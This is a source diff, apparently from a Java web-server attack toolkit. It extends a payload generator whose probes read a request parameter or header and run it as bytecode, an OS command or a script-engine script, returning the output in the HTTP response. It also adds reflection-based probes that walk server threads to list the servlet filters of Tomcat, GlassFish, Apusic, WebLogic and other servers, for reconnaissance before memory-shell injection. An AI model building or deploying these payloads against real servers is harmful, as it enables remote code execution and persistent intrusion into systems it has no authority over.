.addInjector(JAKARTA_VALVE, GlassFishValveInjector.class)
|
||||||
.addInjector(AGENT_FILTER_CHAIN, TomcatFilterChainAgentInjector.class)
|
.addInjector(AGENT_FILTER_CHAIN, TomcatFilterChainAgentInjector.class)
|
||||||
|
|||||||
@@ -8,8 +8,14 @@ public enum ProbeContent {
|
|||||||
Server,
|
Server,
|
||||||
OS,
|
OS,
|
||||||
JDK,
|
JDK,
|
||||||
|
// 字节码执行
|
||||||
Bytecode,
|
Bytecode,
|
||||||
|
// 命令执行
|
||||||
Command,
|
Command,
|
||||||
|
// 基础信息
|
||||||
BasicInfo,
|
BasicInfo,
|
||||||
ScriptEngine
|
// 脚本引擎执行
|
||||||
|
ScriptEngine,
|
||||||
|
// Filter 配置
|
||||||
|
Filter
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -3,6 +3,7 @@ package com.reajason.javaweb.probe.config;
|
|||||||
import com.reajason.javaweb.utils.CommonUtil;
|
import com.reajason.javaweb.utils.CommonUtil;
|
||||||
import lombok.Builder;
|
import lombok.Builder;
|
||||||
import lombok.Getter;
|
import lombok.Getter;
|
||||||
|
import lombok.Setter;
|
||||||
import lombok.ToString;
|
import lombok.ToString;
|
||||||
import lombok.experimental.SuperBuilder;
|
import lombok.experimental.SuperBuilder;
|
||||||
import org.apache.commons.lang3.StringUtils;
|
import org.apache.commons.lang3.StringUtils;
|
||||||
@@ -26,6 +27,7 @@ public class ResponseBodyConfig extends ProbeContentConfig {
|
|||||||
/**
|
/**
|
||||||
* 内置执行类加载的字节码
|
* 内置执行类加载的字节码
|
||||||
*/
|
*/
|
||||||
|
@Setter
|
||||||
private String base64Bytes;
|
private String base64Bytes;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
|
|||||||
+11
-6
@@ -10,6 +10,7 @@ import com.reajason.javaweb.probe.config.ResponseBodyConfig;
|
|||||||
import com.reajason.javaweb.probe.generator.ByteBuddyShellGenerator;
|
import com.reajason.javaweb.probe.generator.ByteBuddyShellGenerator;
|
||||||
import com.reajason.javaweb.probe.payload.ByteCodeProbe;
|
import com.reajason.javaweb.probe.payload.ByteCodeProbe;
|
||||||
import com.reajason.javaweb.probe.payload.CommandProbe;
|
import com.reajason.javaweb.probe.payload.CommandProbe;
|
||||||
|
import com.reajason.javaweb.probe.payload.FilterProbeFactory;
|
||||||
import com.reajason.javaweb.probe.payload.ScriptEngineProbe;
|
import com.reajason.javaweb.probe.payload.ScriptEngineProbe;
|
||||||
import com.reajason.javaweb.probe.payload.response.*;
|
import com.reajason.javaweb.probe.payload.response.*;
|
||||||
import com.reajason.javaweb.utils.ShellCommonUtil;
|
import com.reajason.javaweb.utils.ShellCommonUtil;
|
||||||
@@ -18,7 +19,6 @@ import net.bytebuddy.asm.Advice;
|
|||||||
import net.bytebuddy.dynamic.DynamicType;
|
import net.bytebuddy.dynamic.DynamicType;
|
||||||
import net.bytebuddy.implementation.FixedValue;
|
import net.bytebuddy.implementation.FixedValue;
|
||||||
import org.apache.commons.lang3.StringUtils;
|
import org.apache.commons.lang3.StringUtils;
|
||||||
import org.eclipse.jetty.server.Request;
|
|
||||||
|
|
||||||
import java.lang.annotation.Retention;
|
import java.lang.annotation.Retention;
|
||||||
import java.lang.annotation.RetentionPolicy;
|
import java.lang.annotation.RetentionPolicy;
|
||||||
@@ -38,11 +38,14 @@ public class ResponseBodyGenerator extends ByteBuddyShellGenerator<ResponseBodyC
|
|||||||
|
|
||||||
@Override
|
@Override
|
||||||
protected DynamicType.Builder<?> build(ByteBuddy buddy) {
|
protected DynamicType.Builder<?> build(ByteBuddy buddy) {
|
||||||
String name = probeContentConfig.getReqParamName();
|
|
||||||
Class<?> getDataFromReqInterceptor = getDataFromReqInterceptor.class;
|
Class<?> getDataFromReqInterceptor = getDataFromReqInterceptor.class;
|
||||||
if (Server.Jetty.equals(probeContentConfig.getServer())) {
|
String server = probeContentConfig.getServer();
|
||||||
|
if (Server.Jetty.equals(server)) {
|
||||||
getDataFromReqInterceptor = getDataFromReqJettyInterceptor.class;
|
getDataFromReqInterceptor = getDataFromReqJettyInterceptor.class;
|
||||||
}
|
}
|
||||||
|
if (ProbeContent.Filter.equals(probeConfig.getProbeContent())) {
|
||||||
|
probeContentConfig.setBase64Bytes(FilterProbeFactory.getBase64ByServer(server));
|
||||||
|
}
|
||||||
Class<?> writerClass = getWriterClass();
|
Class<?> writerClass = getWriterClass();
|
||||||
Class<?> runnerClass = getRunnerClass();
|
Class<?> runnerClass = getRunnerClass();
|
||||||
DynamicType.Builder<?> builder = buddy.redefine(writerClass)
|
DynamicType.Builder<?> builder = buddy.redefine(writerClass)
|
||||||
@@ -53,12 +56,12 @@ public class ResponseBodyGenerator extends ByteBuddyShellGenerator<ResponseBodyC
|
|||||||
.to(runnerClass)
|
.to(runnerClass)
|
||||||
.on(named("run")));
|
.on(named("run")));
|
||||||
String base64Bytes = probeContentConfig.getBase64Bytes();
|
String base64Bytes = probeContentConfig.getBase64Bytes();
|
||||||
if (ProbeContent.Bytecode.equals(probeConfig.getProbeContent()) && StringUtils.isNotBlank(base64Bytes)) {
|
if (StringUtils.isNotBlank(base64Bytes)) {
|
||||||
builder = builder.method(named("getDataFromReq")).intercept(FixedValue.value(base64Bytes));
|
builder = builder.method(named("getDataFromReq")).intercept(FixedValue.value(base64Bytes));
|
||||||
} else {
|
} else {
|
||||||
builder = builder.visit(MethodCallReplaceVisitorWrapper.newInstance("getDataFromReq",
|
builder = builder.visit(MethodCallReplaceVisitorWrapper.newInstance("getDataFromReq",
|
||||||
probeConfig.getShellClassName(), ShellCommonUtil.class.getName()))
|
probeConfig.getShellClassName(), ShellCommonUtil.class.getName()))
|
||||||
.visit(Advice.withCustomMapping().bind(ValueAnnotation.class, name)
|
.visit(Advice.withCustomMapping().bind(ValueAnnotation.class, probeContentConfig.getReqParamName())
|
||||||
.to(getDataFromReqInterceptor).on(named("getDataFromReq")));
|
.to(getDataFromReqInterceptor).on(named("getDataFromReq")));
|
||||||
}
|
}
|
||||||
return builder;
|
return builder;
|
||||||
@@ -69,6 +72,7 @@ public class ResponseBodyGenerator extends ByteBuddyShellGenerator<ResponseBodyC
|
|||||||
case Command:
|
case Command:
|
||||||
return CommandProbe.class;
|
return CommandProbe.class;
|
||||||
case Bytecode:
|
case Bytecode:
|
||||||
|
case Filter:
|
||||||
return ByteCodeProbe.class;
|
return ByteCodeProbe.class;
|
||||||
case ScriptEngine:
|
case ScriptEngine:
|
||||||
return ScriptEngineProbe.class;
|
return ScriptEngineProbe.class;
|
||||||
@@ -138,7 +142,8 @@ public class ResponseBodyGenerator extends ByteBuddyShellGenerator<ResponseBodyC
|
|||||||
}
|
}
|
||||||
ret = p;
|
ret = p;
|
||||||
} catch (Exception e) {
|
} catch (Exception e) {
|
||||||
Object parameters = Request.class.getMethod("extractQueryParameters", Request.class, Charset.class).invoke(null, request, UTF_8);
|
Class<?> requestClass = request.getClass().getClassLoader().loadClass("org.eclipse.jetty.server.Request");
|
||||||
|
Object parameters = requestClass.getMethod("extractQueryParameters", requestClass, Charset.class).invoke(null, request, UTF_8);
|
||||||
String p = (String) ShellCommonUtil.invokeMethod(parameters, "getValue", new Class[]{String.class}, new Object[]{name});
|
String p = (String) ShellCommonUtil.invokeMethod(parameters, "getValue", new Class[]{String.class}, new Object[]{name});
|
||||||
if (p == null || p.isEmpty()) {
|
if (p == null || p.isEmpty()) {
|
||||||
Object headers = ShellCommonUtil.invokeMethod(request, "getHeaders", null, null);
|
Object headers = ShellCommonUtil.invokeMethod(request, "getHeaders", null, null);
|
||||||
|
|||||||
@@ -0,0 +1,54 @@
|
|||||||
|
package com.reajason.javaweb.probe.payload;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.GenerationException;
|
||||||
|
import com.reajason.javaweb.Server;
|
||||||
|
import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper;
|
||||||
|
import com.reajason.javaweb.probe.payload.filter.*;
|
||||||
|
import com.reajason.javaweb.utils.CommonUtil;
|
||||||
|
import net.bytebuddy.ByteBuddy;
|
||||||
|
import net.bytebuddy.dynamic.DynamicType;
|
||||||
|
import org.apache.commons.codec.binary.Base64;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2026/1/11
|
||||||
|
*/
|
||||||
|
public class FilterProbeFactory {
|
||||||
|
|
||||||
|
public static String getBase64ByServer(String server) {
|
||||||
|
try (DynamicType.Unloaded<?> unloaded = new ByteBuddy()
|
||||||
|
.redefine(getFilterClass(server))
|
||||||
|
.visit(TargetJreVersionVisitorWrapper.DEFAULT)
|
||||||
|
.name(CommonUtil.generateClassName()).make()) {
|
||||||
|
return Base64.encodeBase64String(unloaded.getBytes());
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
private static Class<?> getFilterClass(String server) {
|
||||||
|
switch (server) {
|
||||||
|
case Server.Tomcat:
|
||||||
|
case Server.JBoss:
|
||||||
|
case Server.BES:
|
||||||
|
case Server.TongWeb:
|
||||||
|
return TomcatFilterProbe.class;
|
||||||
|
case Server.Jetty:
|
||||||
|
return JettyFilterProbe.class;
|
||||||
|
case Server.Apusic:
|
||||||
|
return ApusicFilterProbe.class;
|
||||||
|
case Server.GlassFish:
|
||||||
|
case Server.InforSuite:
|
||||||
|
return GlassFishFilterProbe.class;
|
||||||
|
case Server.WebSphere:
|
||||||
|
return WebSphereFilterProbe.class;
|
||||||
|
case Server.WebLogic:
|
||||||
|
return WebLogicFilterProbe.class;
|
||||||
|
case Server.Undertow:
|
||||||
|
return UndertowFilterProbe.class;
|
||||||
|
case Server.Resin:
|
||||||
|
return ResinFilterProbe.class;
|
||||||
|
default:
|
||||||
|
throw new GenerationException("filterProbe not supported for server: " + server);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -50,7 +50,8 @@ public class ServerProbe {
|
|||||||
if (System.getProperty("weblogic.home") != null) {
|
if (System.getProperty("weblogic.home") != null) {
|
||||||
return ret = "WebLogic";
|
return ret = "WebLogic";
|
||||||
}
|
}
|
||||||
if (System.getProperty("was.install.root") != null) {
|
if (System.getProperty("was.install.root") != null
|
||||||
|
|| System.getProperty("wlp.install.dir") != null) {
|
||||||
return ret = "WebSphere";
|
return ret = "WebSphere";
|
||||||
}
|
}
|
||||||
if (System.getProperty("resin.home") != null) {
|
if (System.getProperty("resin.home") != null) {
|
||||||
|
|||||||
+205
@@ -0,0 +1,205 @@
|
|||||||
|
package com.reajason.javaweb.probe.payload.filter;
|
||||||
|
|
||||||
|
import java.io.ByteArrayOutputStream;
|
||||||
|
import java.io.PrintStream;
|
||||||
|
import java.lang.reflect.Field;
|
||||||
|
import java.lang.reflect.Method;
|
||||||
|
import java.util.*;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
*/
|
||||||
|
public class ApusicFilterProbe {
|
||||||
|
|
||||||
|
@Override
|
||||||
|
@SuppressWarnings("Duplicates")
|
||||||
|
public String toString() {
|
||||||
|
StringBuilder msg = new StringBuilder();
|
||||||
|
Set<Object> contexts = null;
|
||||||
|
try {
|
||||||
|
contexts = getContext();
|
||||||
|
} catch (Throwable throwable) {
|
||||||
|
msg.append("context error: ").append(getErrorMessage(throwable));
|
||||||
|
}
|
||||||
|
if (contexts == null || contexts.isEmpty()) {
|
||||||
|
msg.append("context not found\n");
|
||||||
|
} else {
|
||||||
|
Map<String, List<Map<String, String>>> allFiltersData = new LinkedHashMap<String, List<Map<String, String>>>();
|
||||||
|
for (Object context : contexts) {
|
||||||
|
String contextRoot = getContextRoot(context);
|
||||||
|
try {
|
||||||
|
List<Map<String, String>> filters = collectFiltersData(context);
|
||||||
|
allFiltersData.put(contextRoot, filters);
|
||||||
|
} catch (Throwable e) {
|
||||||
|
msg.append(contextRoot).append(" failed ").append(getErrorMessage(e)).append("\n");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
msg.append(formatFiltersData(allFiltersData));
|
||||||
|
}
|
||||||
|
return msg.toString();
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings({"unchecked", "Duplicates"})
|
||||||
|
private List<Map<String, String>> collectFiltersData(Object context) throws Exception {
|
||||||
|
// context -> com.apusic.web.container.WebContainer
|
||||||
|
Map<String, Map<String, Object>> aggregatedData = new LinkedHashMap<>();
|
||||||
|
// webModule -> com.apusic.deploy.runtime.WebModule
|
||||||
|
Object webModule = getFieldValue(context, "webapp");
|
||||||
|
Object[] filterMappings = (Object[]) invokeMethod(webModule, "getAllFilterMappings");
|
||||||
|
for (Object fm : filterMappings) {
|
||||||
|
// fm -> com.apusic.deploy.runtime.FilterMapping
|
||||||
|
String name = (String) invokeMethod(fm, "getFilterName");
|
||||||
|
if (!aggregatedData.containsKey(name)) {
|
||||||
|
Map<String, Object> info = new HashMap<>();
|
||||||
|
Object filterModel = invokeMethod(webModule, "getFilter", new Class[]{String.class}, new Object[]{name});
|
||||||
|
info.put("filterName", name);
|
||||||
|
info.put("filterClass", invokeMethod(filterModel, "getFilterClass"));
|
||||||
|
info.put("urlPatterns", new LinkedHashSet<String>());
|
||||||
|
info.put("servletNames", new LinkedHashSet<String>());
|
||||||
|
aggregatedData.put(name, info);
|
||||||
|
}
|
||||||
|
Map<String, Object> info = aggregatedData.get(name);
|
||||||
|
String urlPattern = (String) invokeMethod(fm, "getUrlPattern");
|
||||||
|
if (urlPattern != null && !urlPattern.isEmpty()) ((Set<String>) info.get("urlPatterns")).add(urlPattern);
|
||||||
|
String servletName = (String) invokeMethod(fm, "getServletName");
|
||||||
|
if (servletName != null && !servletName.isEmpty()) ((Set<String>) info.get("servletNames")).add(servletName);
|
||||||
|
}
|
||||||
|
List<Map<String, String>> result = new ArrayList<>();
|
||||||
|
for (Map<String, Object> entry : aggregatedData.values()) {
|
||||||
|
Map<String, String> finalInfo = new HashMap<>();
|
||||||
|
finalInfo.put("filterName", (String) entry.get("filterName"));
|
||||||
|
finalInfo.put("filterClass", (String) entry.get("filterClass"));
|
||||||
|
Set<?> urls = (Set<?>) entry.get("urlPatterns");
|
||||||
|
finalInfo.put("urlPatterns", urls.isEmpty() ? "" : urls.toString());
|
||||||
|
Set<?> servletNames = (Set<?>) entry.get("servletNames");
|
||||||
|
finalInfo.put("servletNames", servletNames.isEmpty() ? "" : servletNames.toString());
|
||||||
|
result.add(finalInfo);
|
||||||
|
}
|
||||||
|
return result;
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
private String formatFiltersData(Map<String, List<Map<String, String>>> allFiltersData) {
|
||||||
|
StringBuilder output = new StringBuilder();
|
||||||
|
for (Map.Entry<String, List<Map<String, String>>> entry : allFiltersData.entrySet()) {
|
||||||
|
String context = entry.getKey();
|
||||||
|
List<Map<String, String>> filters = entry.getValue();
|
||||||
|
output.append("Context: ").append(context).append("\n");
|
||||||
|
if (filters.isEmpty()) {
|
||||||
|
output.append("No filters found\n");
|
||||||
|
} else {
|
||||||
|
for (Map<String, String> info : filters) {
|
||||||
|
appendIfPresent(output, "", info.get("filterName"));
|
||||||
|
appendIfPresent(output, " -> ", info.get("filterClass"));
|
||||||
|
appendIfPresent(output, " -> URL:", info.get("urlPatterns"));
|
||||||
|
appendIfPresent(output, " -> Servlet:", info.get("servletNames"));
|
||||||
|
output.append("\n");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return output.toString();
|
||||||
|
}
|
||||||
|
|
||||||
|
private void appendIfPresent(StringBuilder sb, String prefix, String value) {
|
||||||
|
if (value != null && !value.isEmpty()) {
|
||||||
|
sb.append(prefix).append(value);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("Duplicates")
|
||||||
|
private String getContextRoot(Object context) {
|
||||||
|
String r = null;
|
||||||
|
try {
|
||||||
|
r = (String) invokeMethod(context, "getContextPath");
|
||||||
|
} catch (Exception ignored) {
|
||||||
|
}
|
||||||
|
String c = context.getClass().getName();
|
||||||
|
if (r == null) {
|
||||||
|
return c;
|
||||||
|
}
|
||||||
|
if (r.isEmpty()) {
|
||||||
|
return c + "(/)";
|
||||||
|
}
|
||||||
|
return c + "(" + r + ")";
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* context: com.apusic.web.container.WebContainer
|
||||||
|
* context - webapp: com.apusic.deploy.runtime.WebModule
|
||||||
|
* /usr/local/ass/lib/apusic.jar
|
||||||
|
*/
|
||||||
|
@SuppressWarnings("Duplicates")
|
||||||
|
public Set<Object> getContext() throws Exception {
|
||||||
|
Set<Object> contexts = new HashSet<Object>();
|
||||||
|
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
||||||
|
for (Thread thread : threads) {
|
||||||
|
if (thread.getName().contains("HouseKeeper")) {
|
||||||
|
// Apusic 9.0 SPX
|
||||||
|
Object sessionManager = getFieldValue(thread, "this$0");
|
||||||
|
contexts.add(getFieldValue(sessionManager, "container"));
|
||||||
|
} else if (thread.getName().contains("HTTPSession")) {
|
||||||
|
// Apusic 9.0.1
|
||||||
|
Object sessionManager = getFieldValue(thread, "this$0");
|
||||||
|
Map<?, ?> contextMap = ((Map<?, ?>) getFieldValue(getFieldValue(sessionManager, "vhost"), "contexts"));
|
||||||
|
contexts.addAll(contextMap.values());
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return contexts;
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
public static Object getFieldValue(Object obj, String fieldName) throws Exception {
|
||||||
|
Class<?> clazz = obj.getClass();
|
||||||
|
while (clazz != null) {
|
||||||
|
try {
|
||||||
|
Field field = clazz.getDeclaredField(fieldName);
|
||||||
|
field.setAccessible(true);
|
||||||
|
return field.get(obj);
|
||||||
|
} catch (NoSuchFieldException e) {
|
||||||
|
clazz = clazz.getSuperclass();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
throw new NoSuchFieldException(fieldName + " for " + obj.getClass().getName());
|
||||||
|
}
|
||||||
|
|
||||||
|
public static Object invokeMethod(Object obj, String methodName) throws Exception {
|
||||||
|
return invokeMethod(obj, methodName, null, null);
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws Exception {
|
||||||
|
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
|
||||||
|
Method method = null;
|
||||||
|
while (clazz != null && method == null) {
|
||||||
|
try {
|
||||||
|
if (paramClazz == null) {
|
||||||
|
method = clazz.getDeclaredMethod(methodName);
|
||||||
|
} else {
|
||||||
|
method = clazz.getDeclaredMethod(methodName, paramClazz);
|
||||||
|
}
|
||||||
|
} catch (NoSuchMethodException e) {
|
||||||
|
clazz = clazz.getSuperclass();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if (method == null) {
|
||||||
|
throw new NoSuchMethodException("Method not found: " + methodName);
|
||||||
|
}
|
||||||
|
method.setAccessible(true);
|
||||||
|
return method.invoke(obj instanceof Class ? null : obj, param);
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
private String getErrorMessage(Throwable throwable) {
|
||||||
|
PrintStream printStream = null;
|
||||||
|
try {
|
||||||
|
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
|
||||||
|
printStream = new PrintStream(outputStream);
|
||||||
|
throwable.printStackTrace(printStream);
|
||||||
|
return outputStream.toString();
|
||||||
|
} finally {
|
||||||
|
if (printStream != null) {
|
||||||
|
printStream.close();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
+224
@@ -0,0 +1,224 @@
|
|||||||
|
package com.reajason.javaweb.probe.payload.filter;
|
||||||
|
|
||||||
|
import java.io.ByteArrayOutputStream;
|
||||||
|
import java.io.PrintStream;
|
||||||
|
import java.lang.reflect.Field;
|
||||||
|
import java.lang.reflect.Method;
|
||||||
|
import java.util.*;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
*/
|
||||||
|
public class GlassFishFilterProbe {
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public String toString() {
|
||||||
|
StringBuilder msg = new StringBuilder();
|
||||||
|
Map<String, List<Map<String, String>>> allFiltersData = new LinkedHashMap<String, List<Map<String, String>>>();
|
||||||
|
Set<Object> contexts = null;
|
||||||
|
try {
|
||||||
|
contexts = getContext();
|
||||||
|
} catch (Throwable throwable) {
|
||||||
|
msg.append("context error: ").append(getErrorMessage(throwable));
|
||||||
|
}
|
||||||
|
if (contexts == null || contexts.isEmpty()) {
|
||||||
|
msg.append("context not found\n");
|
||||||
|
} else {
|
||||||
|
for (Object context : contexts) {
|
||||||
|
String contextRoot = getContextRoot(context);
|
||||||
|
try {
|
||||||
|
List<Map<String, String>> filters = collectFiltersData(context);
|
||||||
|
allFiltersData.put(contextRoot, filters);
|
||||||
|
} catch (Throwable e) {
|
||||||
|
msg.append(contextRoot).append(" failed ").append(getErrorMessage(e)).append("\n");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
msg.append(formatFiltersData(allFiltersData));
|
||||||
|
}
|
||||||
|
return msg.toString();
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings({"unchecked", "Duplicates"})
|
||||||
|
private List<Map<String, String>> collectFiltersData(Object context) throws Exception {
|
||||||
|
// context -> org.apache.catalina.core.StandardContext
|
||||||
|
Map<String, Map<String, Object>> aggregatedData = new LinkedHashMap<>();
|
||||||
|
|
||||||
|
List<Object> filterMaps = (List<Object>) invokeMethod(context, "findFilterMaps");
|
||||||
|
for (Object fm : filterMaps) {
|
||||||
|
// fm -> org.apache.catalina.deploy.FilterMap
|
||||||
|
String name = (String) invokeMethod(fm, "getFilterName");
|
||||||
|
if (!aggregatedData.containsKey(name)) {
|
||||||
|
// filterDef -> org.apache.catalina.deploy.FilterDef
|
||||||
|
Object filterDef = invokeMethod(context, "findFilterDef", new Class[]{String.class}, new Object[]{name});
|
||||||
|
String filterClass = (String) invokeMethod(filterDef, "getFilterClassName");
|
||||||
|
if (filterClass == null) {
|
||||||
|
// filterConfig -> org.apache.catalina.core.ApplicationFilterConfig
|
||||||
|
Object filterConfig = invokeMethod(context, "findFilterConfig", new Class[]{String.class}, new Object[]{name});
|
||||||
|
Object filter = invokeMethod(filterConfig, "getFilter");
|
||||||
|
if (filter != null) filterClass = filter.getClass().getName();
|
||||||
|
}
|
||||||
|
Map<String, Object> info = new HashMap<>();
|
||||||
|
info.put("filterName", name);
|
||||||
|
info.put("filterClass", filterClass);
|
||||||
|
info.put("urlPatterns", new LinkedHashSet<String>());
|
||||||
|
info.put("servletNames", new LinkedHashSet<String>());
|
||||||
|
aggregatedData.put(name, info);
|
||||||
|
}
|
||||||
|
Map<String, Object> info = aggregatedData.get(name);
|
||||||
|
String[] urls = null;
|
||||||
|
try {
|
||||||
|
urls = (String[]) invokeMethod(fm, "getURLPatterns");
|
||||||
|
} catch (Exception e) {
|
||||||
|
// Tomcat 5
|
||||||
|
String urlPattern = (String) invokeMethod(fm, "getURLPattern");
|
||||||
|
if (urlPattern != null) urls = new String[]{urlPattern};
|
||||||
|
}
|
||||||
|
if (urls != null) ((Set<String>) info.get("urlPatterns")).addAll(Arrays.asList(urls));
|
||||||
|
String[] servletNames = null;
|
||||||
|
try {
|
||||||
|
servletNames = (String[]) invokeMethod(fm, "getServletNames");
|
||||||
|
} catch (Exception e) {
|
||||||
|
// Tomcat 5
|
||||||
|
String servletName = (String) invokeMethod(fm, "getServletName");
|
||||||
|
if (servletName != null) servletNames = new String[]{servletName};
|
||||||
|
}
|
||||||
|
if (servletNames != null) ((Set<String>) info.get("servletNames")).addAll(Arrays.asList(servletNames));
|
||||||
|
}
|
||||||
|
List<Map<String, String>> result = new ArrayList<>();
|
||||||
|
for (Map<String, Object> entry : aggregatedData.values()) {
|
||||||
|
Map<String, String> finalInfo = new HashMap<>();
|
||||||
|
finalInfo.put("filterName", (String) entry.get("filterName"));
|
||||||
|
finalInfo.put("filterClass", (String) entry.get("filterClass"));
|
||||||
|
Set<?> urls = (Set<?>) entry.get("urlPatterns");
|
||||||
|
finalInfo.put("urlPatterns", urls.isEmpty() ? "" : urls.toString());
|
||||||
|
Set<?> servletNames = (Set<?>) entry.get("servletNames");
|
||||||
|
finalInfo.put("servletNames", servletNames.isEmpty() ? "" : servletNames.toString());
|
||||||
|
result.add(finalInfo);
|
||||||
|
}
|
||||||
|
return result;
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
private String formatFiltersData(Map<String, List<Map<String, String>>> allFiltersData) {
|
||||||
|
StringBuilder output = new StringBuilder();
|
||||||
|
for (Map.Entry<String, List<Map<String, String>>> entry : allFiltersData.entrySet()) {
|
||||||
|
String context = entry.getKey();
|
||||||
|
List<Map<String, String>> filters = entry.getValue();
|
||||||
|
output.append("Context: ").append(context).append("\n");
|
||||||
|
if (filters.isEmpty()) {
|
||||||
|
output.append("No filters found\n");
|
||||||
|
} else if (filters.size() == 1 && filters.get(0).containsKey("error")) {
|
||||||
|
output.append(filters.get(0).get("error")).append("\n");
|
||||||
|
} else {
|
||||||
|
for (Map<String, String> info : filters) {
|
||||||
|
appendIfPresent(output, "", info.get("filterName"));
|
||||||
|
appendIfPresent(output, " -> ", info.get("filterClass"));
|
||||||
|
appendIfPresent(output, " -> URL:", info.get("urlPatterns"));
|
||||||
|
appendIfPresent(output, " -> Servlet:", info.get("servletNames"));
|
||||||
|
output.append("\n");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return output.toString();
|
||||||
|
}
|
||||||
|
|
||||||
|
private void appendIfPresent(StringBuilder sb, String prefix, String value) {
|
||||||
|
if (value != null && !value.isEmpty()) {
|
||||||
|
sb.append(prefix).append(value);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("Duplicates")
|
||||||
|
private String getContextRoot(Object context) {
|
||||||
|
String r = null;
|
||||||
|
try {
|
||||||
|
r = (String) invokeMethod(invokeMethod(context, "getServletContext"), "getContextPath");
|
||||||
|
} catch (Exception ignored) {
|
||||||
|
}
|
||||||
|
String c = context.getClass().getName();
|
||||||
|
if (r == null) {
|
||||||
|
return c;
|
||||||
|
}
|
||||||
|
if (r.isEmpty()) {
|
||||||
|
return c + "(/)";
|
||||||
|
}
|
||||||
|
return c + "(" + r + ")";
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* com.sun.enterprise.web.WebModule
|
||||||
|
* /xxx/modules/web-glue.jar
|
||||||
|
*/
|
||||||
|
@SuppressWarnings("Duplicates")
|
||||||
|
public Set<Object> getContext() throws Exception {
|
||||||
|
Set<Object> contexts = new HashSet<>();
|
||||||
|
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
||||||
|
for (Thread thread : threads) {
|
||||||
|
if (thread.getName().contains("ContainerBackgroundProcessor")) {
|
||||||
|
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children");
|
||||||
|
for (Object value : childrenMap.values()) {
|
||||||
|
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
|
||||||
|
contexts.addAll(children.values());
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return contexts;
|
||||||
|
}
|
||||||
|
|
||||||
|
public static Object invokeMethod(Object obj, String methodName) throws Exception {
|
||||||
|
return invokeMethod(obj, methodName, null, null);
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws Exception {
|
||||||
|
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
|
||||||
|
Method method = null;
|
||||||
|
while (clazz != null && method == null) {
|
||||||
|
try {
|
||||||
|
if (paramClazz == null) {
|
||||||
|
method = clazz.getDeclaredMethod(methodName);
|
||||||
|
} else {
|
||||||
|
method = clazz.getDeclaredMethod(methodName, paramClazz);
|
||||||
|
}
|
||||||
|
} catch (NoSuchMethodException e) {
|
||||||
|
clazz = clazz.getSuperclass();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if (method == null) {
|
||||||
|
throw new NoSuchMethodException("Method not found: " + methodName);
|
||||||
|
}
|
||||||
|
method.setAccessible(true);
|
||||||
|
return method.invoke(obj instanceof Class ? null : obj, param);
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
public static Object getFieldValue(Object obj, String name) throws Exception {
|
||||||
|
Class<?> clazz = obj.getClass();
|
||||||
|
while (clazz != Object.class) {
|
||||||
|
try {
|
||||||
|
Field field = clazz.getDeclaredField(name);
|
||||||
|
field.setAccessible(true);
|
||||||
|
return field.get(obj);
|
||||||
|
} catch (NoSuchFieldException var5) {
|
||||||
|
clazz = clazz.getSuperclass();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
private String getErrorMessage(Throwable throwable) {
|
||||||
|
PrintStream printStream = null;
|
||||||
|
try {
|
||||||
|
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
|
||||||
|
printStream = new PrintStream(outputStream);
|
||||||
|
throwable.printStackTrace(printStream);
|
||||||
|
return outputStream.toString();
|
||||||
|
} finally {
|
||||||
|
if (printStream != null) {
|
||||||
|
printStream.close();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
